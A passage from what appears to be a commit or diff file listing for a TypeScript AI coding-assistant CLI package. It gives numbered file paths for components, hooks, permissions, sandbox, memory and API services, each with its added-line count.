  533. package/src/components/mcp/MCPAgentServerMenu.tsx +183 -0
  534. package/src/components/mcp/MCPListPanel.tsx +504 -0
  535. package/src/components/mcp/MCPReconnect.tsx +167 -0
  536. package/src/components/mcp/MCPRemoteServerMenu.tsx +649 -0
  537. package/src/components/mcp/MCPSettings.tsx +398 -0
  538. package/src/components/mcp/MCPStdioServerMenu.tsx +177 -0
  539. package/src/components/mcp/MCPToolDetailView.tsx +212 -0
  540. package/src/components/mcp/MCPToolListView.tsx +141 -0
  541. package/src/components/mcp/McpParsingWarnings.tsx +213 -0
  542. package/src/components/mcp/index.ts +9 -0
  543. package/src/components/mcp/utils/reconnectHelpers.tsx +49 -0
  544. package/src/components/memory/MemoryFileSelector.tsx +438 -0
  545. package/src/components/memory/MemoryUpdateNotification.tsx +45 -0
  546. package/src/components/messageActions.tsx +450 -0
  547. package/src/components/messages/AdvisorMessage.tsx +158 -0
  548. package/src/components/messages/AssistantRedactedThinkingMessage.tsx +31 -0
  549. package/src/components/messages/AssistantTextMessage.tsx +270 -0
  550. package/src/components/messages/AssistantThinkingMessage.tsx +86 -0
  551. package/src/components/messages/AssistantToolUseMessage.tsx +368 -0
  552. package/src/components/messages/AttachmentMessage.tsx +536 -0
  553. package/src/components/messages/CollapsedReadSearchContent.tsx +484 -0
  554. package/src/components/messages/CompactBoundaryMessage.tsx +18 -0
  555. package/src/components/messages/GroupedToolUseContent.tsx +58 -0
  556. package/src/components/messages/HighlightedThinkingText.tsx +162 -0
  557. package/src/components/messages/HookProgressMessage.tsx +116 -0
  558. package/src/components/messages/PlanApprovalMessage.tsx +222 -0
  559. package/src/components/messages/RateLimitMessage.tsx +161 -0
  560. package/src/components/messages/ShutdownMessage.tsx +132 -0
  561. package/src/components/messages/SystemAPIErrorMessage.tsx +141 -0
  562. package/src/components/messages/SystemTextMessage.tsx +827 -0
  563. package/src/components/messages/TaskAssignmentMessage.tsx +76 -0
  564. package/src/components/messages/UserAgentNotificationMessage.tsx +83 -0
  565. package/src/components/messages/UserBashInputMessage.tsx +58 -0
  566. package/src/components/messages/UserBashOutputMessage.tsx +54 -0
  567. package/src/components/messages/UserChannelMessage.tsx +137 -0
  568. package/src/components/messages/UserCommandMessage.tsx +108 -0
  569. package/src/components/messages/UserImageMessage.tsx +59 -0
  570. package/src/components/messages/UserLocalCommandOutputMessage.tsx +167 -0
  571. package/src/components/messages/UserMemoryInputMessage.tsx +75 -0
  572. package/src/components/messages/UserPlanMessage.tsx +42 -0
  573. package/src/components/messages/UserPromptMessage.tsx +80 -0
  574. package/src/components/messages/UserResourceUpdateMessage.tsx +121 -0
  575. package/src/components/messages/UserTeammateMessage.tsx +206 -0
  576. package/src/components/messages/UserTextMessage.tsx +275 -0
  577. package/src/components/messages/UserToolResultMessage/RejectedPlanMessage.tsx +31 -0
  578. package/src/components/messages/UserToolResultMessage/RejectedToolUseMessage.tsx +16 -0
  579. package/src/components/messages/UserToolResultMessage/UserToolCanceledMessage.tsx +16 -0
  580. package/src/components/messages/UserToolResultMessage/UserToolErrorMessage.tsx +103 -0
  581. package/src/components/messages/UserToolResultMessage/UserToolRejectMessage.tsx +95 -0
  582. package/src/components/messages/UserToolResultMessage/UserToolResultMessage.tsx +106 -0
  583. package/src/components/messages/UserToolResultMessage/UserToolSuccessMessage.tsx +104 -0
  584. package/src/components/messages/UserToolResultMessage/utils.tsx +44 -0
  585. package/src/components/messages/nullRenderingAttachments.ts +70 -0
  586. package/src/components/messages/teamMemCollapsed.tsx +140 -0
  587. package/src/components/messages/teamMemSaved.ts +19 -0
  588. package/src/components/permissions/AskUserQuestionPermissionRequest/AskUserQuestionPermissionRequest.tsx +645 -0
  589. package/src/components/permissions/AskUserQuestionPermissionRequest/PreviewBox.tsx +229 -0
  590. package/src/components/permissions/AskUserQuestionPermissionRequest/PreviewQuestionView.tsx +328 -0
  591. package/src/components/permissions/AskUserQuestionPermissionRequest/QuestionNavigationBar.tsx +178 -0
  592. package/src/components/permissions/AskUserQuestionPermissionRequest/QuestionView.tsx +465 -0
  593. package/src/components/permissions/AskUserQuestionPermissionRequest/SubmitQuestionsView.tsx +144 -0
  594. package/src/components/permissions/AskUserQuestionPermissionRequest/use-multiple-choice-state.ts +179 -0
  595. package/src/components/permissions/BashPermissionRequest/BashPermissionRequest.tsx +482 -0
  596. package/src/components/permissions/BashPermissionRequest/bashToolUseOptions.tsx +147 -0
  597. package/src/components/permissions/ComputerUseApproval/ComputerUseApproval.tsx +441 -0
  598. package/src/components/permissions/EnterPlanModePermissionRequest/EnterPlanModePermissionRequest.tsx +122 -0
  599. package/src/components/permissions/ExitPlanModePermissionRequest/ExitPlanModePermissionRequest.tsx +768 -0
  600. package/src/components/permissions/FallbackPermissionRequest.tsx +333 -0
  601. package/src/components/permissions/FileEditPermissionRequest/FileEditPermissionRequest.tsx +182 -0
  602. package/src/components/permissions/FilePermissionDialog/FilePermissionDialog.tsx +204 -0
  603. package/src/components/permissions/FilePermissionDialog/ideDiffConfig.ts +42 -0
  604. package/src/components/permissions/FilePermissionDialog/permissionOptions.tsx +177 -0
  605. package/src/components/permissions/FilePermissionDialog/useFilePermissionDialog.ts +212 -0
  606. package/src/components/permissions/FilePermissionDialog/usePermissionHandler.ts +185 -0
  607. package/src/components/permissions/FileWritePermissionRequest/FileWritePermissionRequest.tsx +161 -0
  608. package/src/components/permissions/FileWritePermissionRequest/FileWriteToolDiff.tsx +89 -0
  609. package/src/components/permissions/FilesystemPermissionRequest/FilesystemPermissionRequest.tsx +115 -0
  610. package/src/components/permissions/NotebookEditPermissionRequest/NotebookEditPermissionRequest.tsx +166 -0
  611. package/src/components/permissions/NotebookEditPermissionRequest/NotebookEditToolDiff.tsx +235 -0
  612. package/src/components/permissions/PermissionDecisionDebugInfo.tsx +460 -0
  613. package/src/components/permissions/PermissionDialog.tsx +72 -0
  614. package/src/components/permissions/PermissionExplanation.tsx +272 -0
  615. package/src/components/permissions/PermissionPrompt.tsx +336 -0
  616. package/src/components/permissions/PermissionRequest.tsx +217 -0
  617. package/src/components/permissions/PermissionRequestTitle.tsx +66 -0
  618. package/src/components/permissions/PermissionRuleExplanation.tsx +121 -0
  619. package/src/components/permissions/PowerShellPermissionRequest/PowerShellPermissionRequest.tsx +235 -0
  620. package/src/components/permissions/PowerShellPermissionRequest/powershellToolUseOptions.tsx +91 -0
  621. package/src/components/permissions/SandboxPermissionRequest.tsx +163 -0
  622. package/src/components/permissions/SedEditPermissionRequest/SedEditPermissionRequest.tsx +230 -0
  623. package/src/components/permissions/SkillPermissionRequest/SkillPermissionRequest.tsx +369 -0
  624. package/src/components/permissions/WebFetchPermissionRequest/WebFetchPermissionRequest.tsx +258 -0
  625. package/src/components/permissions/WorkerBadge.tsx +49 -0
  626. package/src/components/permissions/WorkerPendingPermission.tsx +105 -0
  627. package/src/components/permissions/hooks.ts +209 -0
  628. package/src/components/permissions/rules/AddPermissionRules.tsx +180 -0
  629. package/src/components/permissions/rules/AddWorkspaceDirectory.tsx +340 -0
  630. package/src/components/permissions/rules/PermissionRuleDescription.tsx +76 -0
  631. package/src/components/permissions/rules/PermissionRuleInput.tsx +138 -0
  632. package/src/components/permissions/rules/PermissionRuleList.tsx +1179 -0
  633. package/src/components/permissions/rules/RecentDenialsTab.tsx +207 -0
  634. package/src/components/permissions/rules/RemoveWorkspaceDirectory.tsx +110 -0
  635. package/src/components/permissions/rules/WorkspaceTab.tsx +150 -0
  636. package/src/components/permissions/shellPermissionHelpers.tsx +164 -0
  637. package/src/components/permissions/useShellPermissionFeedback.ts +148 -0
  638. package/src/components/permissions/utils.ts +25 -0
  639. package/src/components/sandbox/SandboxConfigTab.tsx +45 -0
  640. package/src/components/sandbox/SandboxDependenciesTab.tsx +120 -0
  641. package/src/components/sandbox/SandboxDoctorSection.tsx +46 -0
  642. package/src/components/sandbox/SandboxOverridesTab.tsx +193 -0
  643. package/src/components/sandbox/SandboxSettings.tsx +296 -0
  644. package/src/components/shell/ExpandShellOutputContext.tsx +36 -0
  645. package/src/components/shell/OutputLine.tsx +118 -0
  646. package/src/components/shell/ShellProgressMessage.tsx +150 -0
  647. package/src/components/shell/ShellTimeDisplay.tsx +74 -0
  648. package/src/components/skills/SkillsMenu.tsx +237 -0
  649. package/src/components/tasks/AsyncAgentDetailDialog.tsx +229 -0
  650. package/src/components/tasks/BackgroundTask.tsx +345 -0
  651. package/src/components/tasks/BackgroundTaskStatus.tsx +429 -0
  652. package/src/components/tasks/BackgroundTasksDialog.tsx +652 -0
  653. package/src/components/tasks/DreamDetailDialog.tsx +251 -0
  654. package/src/components/tasks/InProcessTeammateDetailDialog.tsx +266 -0
  655. package/src/components/tasks/RemoteSessionDetailDialog.tsx +904 -0
  656. package/src/components/tasks/RemoteSessionProgress.tsx +243 -0
  657. package/src/components/tasks/ShellDetailDialog.tsx +404 -0
  658. package/src/components/tasks/ShellProgress.tsx +87 -0
  659. package/src/components/tasks/renderToolActivity.tsx +33 -0
  660. package/src/components/tasks/taskStatusUtils.tsx +107 -0
  661. package/src/components/teams/TeamStatus.tsx +80 -0
  662. package/src/components/teams/TeamsDialog.tsx +715 -0
  663. package/src/components/ui/OrderedList.tsx +71 -0
  664. package/src/components/ui/OrderedListItem.tsx +45 -0
  665. package/src/components/ui/TreeSelect.tsx +397 -0
  666. package/src/components/wizard/WizardDialogLayout.tsx +65 -0
  667. package/src/components/wizard/WizardNavigationFooter.tsx +24 -0
  668. package/src/components/wizard/WizardProvider.tsx +213 -0
  669. package/src/components/wizard/index.ts +9 -0
  670. package/src/components/wizard/useWizard.ts +13 -0
  671. package/src/constants/apiLimits.ts +94 -0
  672. package/src/constants/betas.ts +52 -0
  673. package/src/constants/common.ts +33 -0
  674. package/src/constants/cyberRiskInstruction.ts +24 -0
  675. package/src/constants/errorIds.ts +15 -0
  676. package/src/constants/figures.ts +45 -0
  677. package/src/constants/files.ts +156 -0
  678. package/src/constants/github-app.ts +144 -0
  679. package/src/constants/keys.ts +11 -0
  680. package/src/constants/messages.ts +1 -0
  681. package/src/constants/oauth.ts +234 -0
  682. package/src/constants/outputStyles.ts +216 -0
  683. package/src/constants/product.ts +76 -0
  684. package/src/constants/prompts.ts +914 -0
  685. package/src/constants/spinnerVerbs.ts +204 -0
  686. package/src/constants/system.ts +95 -0
  687. package/src/constants/systemPromptSections.ts +68 -0
  688. package/src/constants/toolLimits.ts +56 -0
  689. package/src/constants/tools.ts +112 -0
  690. package/src/constants/turnCompletionVerbs.ts +12 -0
  691. package/src/constants/xml.ts +86 -0
  692. package/src/context/QueuedMessageContext.tsx +63 -0
  693. package/src/context/fpsMetrics.tsx +30 -0
  694. package/src/context/mailbox.tsx +38 -0
  695. package/src/context/modalContext.tsx +58 -0
  696. package/src/context/notifications.tsx +240 -0
  697. package/src/context/overlayContext.tsx +151 -0
  698. package/src/context/promptOverlayContext.tsx +125 -0
  699. package/src/context/stats.tsx +220 -0
  700. package/src/context/voice.tsx +88 -0
  701. package/src/context.ts +189 -0
  702. package/src/coordinator/coordinatorMode.ts +369 -0
  703. package/src/cost-tracker.ts +323 -0
  704. package/src/costHook.ts +22 -0
  705. package/src/dialogLaunchers.tsx +133 -0
  706. package/src/entrypoints/agentSdkTypes.ts +443 -0
  707. package/src/entrypoints/cli.tsx +303 -0
  708. package/src/entrypoints/init.ts +340 -0
  709. package/src/entrypoints/mcp.ts +196 -0
  710. package/src/entrypoints/sandboxTypes.ts +156 -0
  711. package/src/entrypoints/sdk/controlSchemas.ts +663 -0
  712. package/src/entrypoints/sdk/coreSchemas.ts +1889 -0
  713. package/src/entrypoints/sdk/coreTypes.ts +62 -0
  714. package/src/history.ts +464 -0
  715. package/src/hooks/fileSuggestions.ts +811 -0
  716. package/src/hooks/notifs/useAutoModeUnavailableNotification.ts +56 -0
  717. package/src/hooks/notifs/useCanSwitchToExistingSubscription.tsx +60 -0
  718. package/src/hooks/notifs/useDeprecationWarningNotification.tsx +44 -0
  719. package/src/hooks/notifs/useFastModeNotification.tsx +162 -0
  720. package/src/hooks/notifs/useIDEStatusIndicator.tsx +186 -0
  721. package/src/hooks/notifs/useInstallMessages.tsx +26 -0
  722. package/src/hooks/notifs/useLspInitializationNotification.tsx +143 -0
  723. package/src/hooks/notifs/useMcpConnectivityStatus.tsx +88 -0
  724. package/src/hooks/notifs/useModelMigrationNotifications.tsx +52 -0
  725. package/src/hooks/notifs/useNpmDeprecationNotification.tsx +25 -0
  726. package/src/hooks/notifs/usePluginAutoupdateNotification.tsx +83 -0
  727. package/src/hooks/notifs/usePluginInstallationStatus.tsx +128 -0
  728. package/src/hooks/notifs/useRateLimitWarningNotification.tsx +114 -0
  729. package/src/hooks/notifs/useSettingsErrors.tsx +69 -0
  730. package/src/hooks/notifs/useStartupNotification.ts +41 -0
  731. package/src/hooks/notifs/useTeammateShutdownNotification.ts +78 -0
  732. package/src/hooks/renderPlaceholder.ts +51 -0
  733. package/src/hooks/toolPermission/PermissionContext.ts +388 -0
  734. package/src/hooks/toolPermission/handlers/coordinatorHandler.ts +65 -0
  735. package/src/hooks/toolPermission/handlers/interactiveHandler.ts +536 -0
  736. package/src/hooks/toolPermission/handlers/swarmWorkerHandler.ts +159 -0
  737. package/src/hooks/toolPermission/permissionLogging.ts +238 -0
  738. package/src/hooks/unifiedSuggestions.ts +202 -0
  739. package/src/hooks/useAfterFirstRender.ts +17 -0
  740. package/src/hooks/useApiKeyVerification.ts +84 -0
  741. package/src/hooks/useArrowKeyHistory.tsx +229 -0
  742. package/src/hooks/useAssistantHistory.ts +250 -0
  743. package/src/hooks/useAwaySummary.ts +125 -0
  744. package/src/hooks/useBackgroundTaskNavigation.ts +251 -0
  745. package/src/hooks/useBlink.ts +34 -0
  746. package/src/hooks/useCanUseTool.tsx +204 -0
  747. package/src/hooks/useCancelRequest.ts +276 -0
  748. package/src/hooks/useChromeExtensionNotification.tsx +50 -0
  749. package/src/hooks/useClaudeCodeHintRecommendation.tsx +129 -0
  750. package/src/hooks/useClipboardImageHint.ts +77 -0
  751. package/src/hooks/useCommandKeybindings.tsx +108 -0
  752. package/src/hooks/useCommandQueue.ts +15 -0
  753. package/src/hooks/useCopyOnSelect.ts +98 -0
  754. package/src/hooks/useDeferredHookMessages.ts +46 -0
  755. package/src/hooks/useDiffData.ts +110 -0
  756. package/src/hooks/useDiffInIDE.ts +379 -0
  757. package/src/hooks/useDirectConnect.ts +229 -0
  758. package/src/hooks/useDoublePress.ts +62 -0
  759. package/src/hooks/useDynamicConfig.ts +22 -0
  760. package/src/hooks/useElapsedTime.ts +37 -0
  761. package/src/hooks/useExitOnCtrlCD.ts +95 -0
  762. package/src/hooks/useExitOnCtrlCDWithKeybindings.ts +24 -0
  763. package/src/hooks/useFileHistorySnapshotInit.ts +25 -0
  764. package/src/hooks/useGlobalKeybindings.tsx +249 -0
  765. package/src/hooks/useHistorySearch.ts +303 -0
  766. package/src/hooks/useIDEIntegration.tsx +70 -0
  767. package/src/hooks/useIdeAtMentioned.ts +76 -0
  768. package/src/hooks/useIdeConnectionStatus.ts +33 -0
  769. package/src/hooks/useIdeLogging.ts +41 -0
  770. package/src/hooks/useIdeSelection.ts +150 -0
  771. package/src/hooks/useInboxPoller.ts +969 -0
  772. package/src/hooks/useInputBuffer.ts +132 -0
  773. package/src/hooks/useIssueFlagBanner.ts +133 -0
  774. package/src/hooks/useLogMessages.ts +119 -0
  775. package/src/hooks/useLspPluginRecommendation.tsx +194 -0
  776. package/src/hooks/useMailboxBridge.ts +21 -0
  777. package/src/hooks/useMainLoopModel.ts +34 -0
  778. package/src/hooks/useManagePlugins.ts +304 -0
  779. package/src/hooks/useMemoryUsage.ts +39 -0
  780. package/src/hooks/useMergedClients.ts +23 -0
  781. package/src/hooks/useMergedCommands.ts +15 -0
  782. package/src/hooks/useMergedTools.ts +44 -0
  783. package/src/hooks/useMinDisplayTime.ts +35 -0
  784. package/src/hooks/useNotifyAfterTimeout.ts +65 -0
  785. package/src/hooks/useOfficialMarketplaceNotification.tsx +48 -0
  786. package/src/hooks/usePasteHandler.ts +285 -0
  787. package/src/hooks/usePluginRecommendationBase.tsx +105 -0
  788. package/src/hooks/usePrStatus.ts +106 -0
  789. package/src/hooks/usePromptSuggestion.ts +177 -0
  790. package/src/hooks/usePromptsFromClaudeInChrome.tsx +71 -0
  791. package/src/hooks/useQueueProcessor.ts +68 -0
  792. package/src/hooks/useRemoteSession.ts +605 -0
  793. package/src/hooks/useReplBridge.tsx +723 -0
  794. package/src/hooks/useSSHSession.ts +241 -0
  795. package/src/hooks/useScheduledTasks.ts +139 -0
  796. package/src/hooks/useSearchInput.ts +364 -0
  797. package/src/hooks/useSessionBackgrounding.ts +158 -0
  798. package/src/hooks/useSettings.ts +17 -0
  799. package/src/hooks/useSettingsChange.ts +25 -0
  800. package/src/hooks/useSkillImprovementSurvey.ts +105 -0
  801. package/src/hooks/useSkillsChange.ts +62 -0
  802. package/src/hooks/useSwarmInitialization.ts +81 -0
  803. package/src/hooks/useSwarmPermissionPoller.ts +330 -0
  804. package/src/hooks/useTaskListWatcher.ts +221 -0
  805. package/src/hooks/useTasksV2.ts +250 -0
  806. package/src/hooks/useTeammateViewAutoExit.ts +63 -0
  807. package/src/hooks/useTeleportResume.tsx +85 -0
  808. package/src/hooks/useTerminalSize.ts +15 -0
  809. package/src/hooks/useTextInput.ts +529 -0
  810. package/src/hooks/useTimeout.ts +14 -0
  811. package/src/hooks/useTurnDiffs.ts +213 -0
  812. package/src/hooks/useTypeahead.tsx +1385 -0
  813. package/src/hooks/useUpdateNotification.ts +34 -0
  814. package/src/hooks/useVimInput.ts +316 -0
  815. package/src/hooks/useVirtualScroll.ts +721 -0
  816. package/src/hooks/useVoice.ts +1144 -0
  817. package/src/hooks/useVoiceEnabled.ts +25 -0
  818. package/src/hooks/useVoiceIntegration.tsx +677 -0
  819. package/src/ink/Ansi.tsx +292 -0
  820. package/src/ink/bidi.ts +139 -0
  821. package/src/ink/clearTerminal.ts +74 -0
  822. package/src/ink/colorize.ts +231 -0
  823. package/src/ink/components/AlternateScreen.tsx +80 -0
  824. package/src/ink/components/App.tsx +659 -0
  825. package/src/ink/components/AppContext.ts +21 -0
  826. package/src/ink/components/Box.tsx +214 -0
  827. package/src/ink/components/Button.tsx +192 -0
  828. package/src/ink/components/ClockContext.tsx +112 -0
  829. package/src/ink/components/CursorDeclarationContext.ts +32 -0
  830. package/src/ink/components/ErrorOverview.tsx +109 -0
  831. package/src/ink/components/Link.tsx +42 -0
  832. package/src/ink/components/Newline.tsx +39 -0
  833. package/src/ink/components/NoSelect.tsx +68 -0
  834. package/src/ink/components/RawAnsi.tsx +57 -0
  835. package/src/ink/components/ScrollBox.tsx +237 -0
  836. package/src/ink/components/Spacer.tsx +20 -0
  837. package/src/ink/components/StdinContext.ts +49 -0
  838. package/src/ink/components/TerminalFocusContext.tsx +52 -0
  839. package/src/ink/components/TerminalSizeContext.tsx +7 -0
  840. package/src/ink/components/Text.tsx +254 -0
  841. package/src/ink/constants.ts +2 -0
  842. package/src/ink/dom.ts +484 -0
  843. package/src/ink/events/click-event.ts +38 -0
  844. package/src/ink/events/dispatcher.ts +233 -0
  845. package/src/ink/events/emitter.ts +39 -0
  846. package/src/ink/events/event-handlers.ts +73 -0
  847. package/src/ink/events/event.ts +11 -0
  848. package/src/ink/events/focus-event.ts +21 -0
  849. package/src/ink/events/input-event.ts +205 -0
  850. package/src/ink/events/keyboard-event.ts +51 -0
  851. package/src/ink/events/terminal-event.ts +107 -0
  852. package/src/ink/events/terminal-focus-event.ts +19 -0
  853. package/src/ink/focus.ts +181 -0
  854. package/src/ink/frame.ts +124 -0
  855. package/src/ink/get-max-width.ts +27 -0
  856. package/src/ink/hit-test.ts +130 -0
  857. package/src/ink/hooks/use-animation-frame.ts +57 -0
  858. package/src/ink/hooks/use-app.ts +8 -0
  859. package/src/ink/hooks/use-declared-cursor.ts +73 -0
  860. package/src/ink/hooks/use-input.ts +92 -0
  861. package/src/ink/hooks/use-interval.ts +67 -0
  862. package/src/ink/hooks/use-search-highlight.ts +53 -0
  863. package/src/ink/hooks/use-selection.ts +104 -0
  864. package/src/ink/hooks/use-stdin.ts +8 -0
  865. package/src/ink/hooks/use-tab-status.ts +72 -0
  866. package/src/ink/hooks/use-terminal-focus.ts +16 -0
  867. package/src/ink/hooks/use-terminal-title.ts +31 -0
  868. package/src/ink/hooks/use-terminal-viewport.ts +96 -0
  869. package/src/ink/ink.tsx +1728 -0
  870. package/src/ink/instances.ts +10 -0
  871. package/src/ink/layout/engine.ts +6 -0
  872. package/src/ink/layout/geometry.ts +97 -0
  873. package/src/ink/layout/node.ts +152 -0
  874. package/src/ink/layout/yoga.ts +308 -0
  875. package/src/ink/line-width-cache.ts +24 -0
  876. package/src/ink/log-update.ts +773 -0
  877. package/src/ink/measure-element.ts +23 -0
  878. package/src/ink/measure-text.ts +47 -0
  879. package/src/ink/node-cache.ts +54 -0
  880. package/src/ink/optimizer.ts +93 -0
  881. package/src/ink/output.ts +797 -0
  882. package/src/ink/parse-keypress.ts +801 -0
  883. package/src/ink/reconciler.ts +512 -0
  884. package/src/ink/render-border.ts +231 -0
  885. package/src/ink/render-node-to-output.ts +1462 -0
  886. package/src/ink/render-to-screen.ts +231 -0
  887. package/src/ink/renderer.ts +178 -0
  888. package/src/ink/root.ts +184 -0
  889. package/src/ink/screen.ts +1486 -0
  890. package/src/ink/searchHighlight.ts +93 -0
  891. package/src/ink/selection.ts +917 -0
  892. package/src/ink/squash-text-nodes.ts +92 -0
  893. package/src/ink/stringWidth.ts +222 -0
  894. package/src/ink/styles.ts +771 -0
  895. package/src/ink/supports-hyperlinks.ts +57 -0
  896. package/src/ink/tabstops.ts +46 -0
  897. package/src/ink/terminal-focus-state.ts +47 -0
  898. package/src/ink/terminal-querier.ts +212 -0
  899. package/src/ink/terminal.ts +248 -0
  900. package/src/ink/termio/ansi.ts +75 -0
  901. package/src/ink/termio/csi.ts +319 -0
  902. package/src/ink/termio/dec.ts +60 -0
  903. package/src/ink/termio/esc.ts +67 -0
  904. package/src/ink/termio/osc.ts +493 -0
  905. package/src/ink/termio/parser.ts +394 -0
  906. package/src/ink/termio/sgr.ts +308 -0
  907. package/src/ink/termio/tokenize.ts +319 -0
  908. package/src/ink/termio/types.ts +236 -0
  909. package/src/ink/termio.ts +42 -0
  910. package/src/ink/useTerminalNotification.ts +126 -0
  911. package/src/ink/warn.ts +9 -0
  912. package/src/ink/widest-line.ts +19 -0
  913. package/src/ink/wrap-text.ts +74 -0
  914. package/src/ink/wrapAnsi.ts +20 -0
  915. package/src/ink.ts +85 -0
  916. package/src/interactiveHelpers.tsx +367 -0
  917. package/src/keybindings/KeybindingContext.tsx +243 -0
  918. package/src/keybindings/KeybindingProviderSetup.tsx +308 -0
  919. package/src/keybindings/defaultBindings.ts +340 -0
  920. package/src/keybindings/loadUserBindings.ts +472 -0
  921. package/src/keybindings/match.ts +120 -0
  922. package/src/keybindings/parser.ts +203 -0
  923. package/src/keybindings/reservedShortcuts.ts +127 -0
  924. package/src/keybindings/resolver.ts +244 -0
  925. package/src/keybindings/schema.ts +236 -0
  926. package/src/keybindings/shortcutFormat.ts +63 -0
  927. package/src/keybindings/template.ts +52 -0
  928. package/src/keybindings/useKeybinding.ts +196 -0
  929. package/src/keybindings/useShortcutDisplay.ts +59 -0
  930. package/src/keybindings/validate.ts +498 -0
  931. package/src/main.tsx +4684 -0
  932. package/src/memdir/findRelevantMemories.ts +141 -0
  933. package/src/memdir/memdir.ts +507 -0
  934. package/src/memdir/memoryAge.ts +53 -0
  935. package/src/memdir/memoryScan.ts +94 -0
  936. package/src/memdir/memoryTypes.ts +271 -0
  937. package/src/memdir/paths.ts +278 -0
  938. package/src/memdir/teamMemPaths.ts +292 -0
  939. package/src/memdir/teamMemPrompts.ts +100 -0
  940. package/src/migrations/migrateAutoUpdatesToSettings.ts +61 -0
  941. package/src/migrations/migrateBypassPermissionsAcceptedToSettings.ts +40 -0
  942. package/src/migrations/migrateEnableAllProjectMcpServersToSettings.ts +118 -0
  943. package/src/migrations/migrateFennecToOpus.ts +45 -0
  944. package/src/migrations/migrateLegacyOpusToCurrent.ts +57 -0
  945. package/src/migrations/migrateOpusToOpus1m.ts +43 -0
  946. package/src/migrations/migrateReplBridgeEnabledToRemoteControlAtStartup.ts +22 -0
  947. package/src/migrations/migrateSonnet1mToSonnet45.ts +48 -0
  948. package/src/migrations/migrateSonnet45ToSonnet46.ts +67 -0
  949. package/src/migrations/resetAutoModeOptInForDefaultOffer.ts +51 -0
  950. package/src/migrations/resetProToOpusDefault.ts +51 -0
  951. package/src/moreright/useMoreRight.tsx +26 -0
  952. package/src/native-ts/color-diff/index.ts +999 -0
  953. package/src/native-ts/file-index/index.ts +370 -0
  954. package/src/native-ts/yoga-layout/enums.ts +134 -0
  955. package/src/native-ts/yoga-layout/index.ts +2578 -0
  956. package/src/outputStyles/loadOutputStylesDir.ts +98 -0
  957. package/src/plugins/builtinPlugins.ts +159 -0
  958. package/src/plugins/bundled/index.ts +23 -0
  959. package/src/projectOnboardingState.ts +83 -0
  960. package/src/query/config.ts +46 -0
  961. package/src/query/deps.ts +40 -0
  962. package/src/query/stopHooks.ts +473 -0
  963. package/src/query/tokenBudget.ts +93 -0
  964. package/src/query.ts +1729 -0
  965. package/src/remote/RemoteSessionManager.ts +343 -0
  966. package/src/remote/SessionsWebSocket.ts +404 -0
  967. package/src/remote/remotePermissionBridge.ts +78 -0
  968. package/src/remote/sdkMessageAdapter.ts +302 -0
  969. package/src/replLauncher.tsx +23 -0
  970. package/src/schemas/hooks.ts +222 -0
  971. package/src/screens/Doctor.tsx +575 -0
  972. package/src/screens/REPL.tsx +5006 -0
  973. package/src/screens/ResumeConversation.tsx +399 -0
  974. package/src/server/createDirectConnectSession.ts +88 -0
  975. package/src/server/directConnectManager.ts +213 -0
  976. package/src/server/types.ts +57 -0
  977. package/src/services/AgentSummary/agentSummary.ts +179 -0
  978. package/src/services/MagicDocs/magicDocs.ts +254 -0
  979. package/src/services/MagicDocs/prompts.ts +127 -0
  980. package/src/services/PromptSuggestion/promptSuggestion.ts +523 -0
  981. package/src/services/PromptSuggestion/speculation.ts +991 -0
  982. package/src/services/SessionMemory/prompts.ts +324 -0
  983. package/src/services/SessionMemory/sessionMemory.ts +495 -0
  984. package/src/services/SessionMemory/sessionMemoryUtils.ts +207 -0
  985. package/src/services/analytics/config.ts +38 -0
  986. package/src/services/analytics/datadog.ts +307 -0
  987. package/src/services/analytics/firstPartyEventLogger.ts +449 -0
  988. package/src/services/analytics/firstPartyEventLoggingExporter.ts +806 -0
  989. package/src/services/analytics/growthbook.ts +1157 -0
  990. package/src/services/analytics/index.ts +173 -0
  991. package/src/services/analytics/metadata.ts +973 -0
  992. package/src/services/analytics/sink.ts +114 -0
  993. package/src/services/analytics/sinkKillswitch.ts +25 -0
  994. package/src/services/api/adminRequests.ts +119 -0
  995. package/src/services/api/bootstrap.ts +142 -0
  996. package/src/services/api/claude.ts +3433 -0
  997. package/src/services/api/client.ts +395 -0
  998. package/src/services/api/dumpPrompts.ts +226 -0
  999. package/src/services/api/emptyUsage.ts +22 -0
  1000. package/src/services/api/errorUtils.ts +260 -0
  1001. package/src/services/api/errors.ts +1207 -0
  1002. package/src/services/api/filesApi.ts +748 -0
  1003. package/src/services/api/firstTokenDate.ts +60 -0
  1004. package/src/services/api/grove.ts +357 -0
  1005. package/src/services/api/logging.ts +788 -0
  1006. package/src/services/api/metricsOptOut.ts +159 -0
  1007. package/src/services/api/overageCreditGrant.ts +137 -0
  1008. package/src/services/api/promptCacheBreakDetection.ts +727 -0
  1009. package/src/services/api/referral.ts +281 -0
  1010. package/src/services/api/sessionIngress.ts +514 -0
  1011. package/src/services/api/ultrareviewQuota.ts +38 -0
  1012. package/src/services/api/usage.ts +63 -0
  1013. package/src/services/api/withRetry.ts +826 -0
  1014. package/src/services/autoDream/autoDream.ts +324 -0
  1015. package/src/services/autoDream/config.ts +21 -0
  1016. package/src/services/autoDream/consolidationLock.ts +140 -0
  1017. package/src/services/autoDream/consolidationPrompt.ts +65 -0
  1018. package/src/services/awaySummary.ts +74 -0
  1019. package/src/services/claudeAiLimits.ts +515 -0
  1020. package/src/services/claudeAiLimitsHook.ts +23 -0
  1021. package/src/services/compact/apiMicrocompact.ts +153 -0
  1022. package/src/services/compact/autoCompact.ts +351 -0
  1023. package/src/services/compact/compact.ts +1705 -0
  1024. package/src/services/compact/compactWarningHook.ts +16 -0
  1025. package/src/services/compact/compactWarningState.ts +18 -0
  1026. package/src/services/compact/grouping.ts +63 -0
  1027. package/src/services/compact/microCompact.ts +530 -0
  1028. package/src/services/compact/postCompactCleanup.ts +77 -0
  1029. package/src/services/compact/prompt.ts +374 -0
  1030. package/src/services/compact/sessionMemoryCompact.ts +630 -0
  1031. package/src/services/compact/timeBasedMCConfig.ts +43 -0
  1032. package/src/services/diagnosticTracking.ts +397 -0
  1033. package/src/services/extractMemories/extractMemories.ts +615 -0
  1034. package/src/services/extractMemories/prompts.ts +154 -0
  1035. package/src/services/internalLogging.ts +90 -0
  1036. package/src/services/lsp/LSPClient.ts +447 -0
  1037. package/src/services/lsp/LSPDiagnosticRegistry.ts +386 -0
  1038. package/src/services/lsp/LSPServerInstance.ts +511 -0
  1039. package/src/services/lsp/LSPServerManager.ts +420 -0
  1040. package/src/services/lsp/config.ts +79 -0
  1041. package/src/services/lsp/manager.ts +289 -0
  1042. package/src/services/lsp/passiveFeedback.ts +328 -0
  1043. package/src/services/mcp/InProcessTransport.ts +63 -0
  1044. package/src/services/mcp/MCPConnectionManager.tsx +73 -0
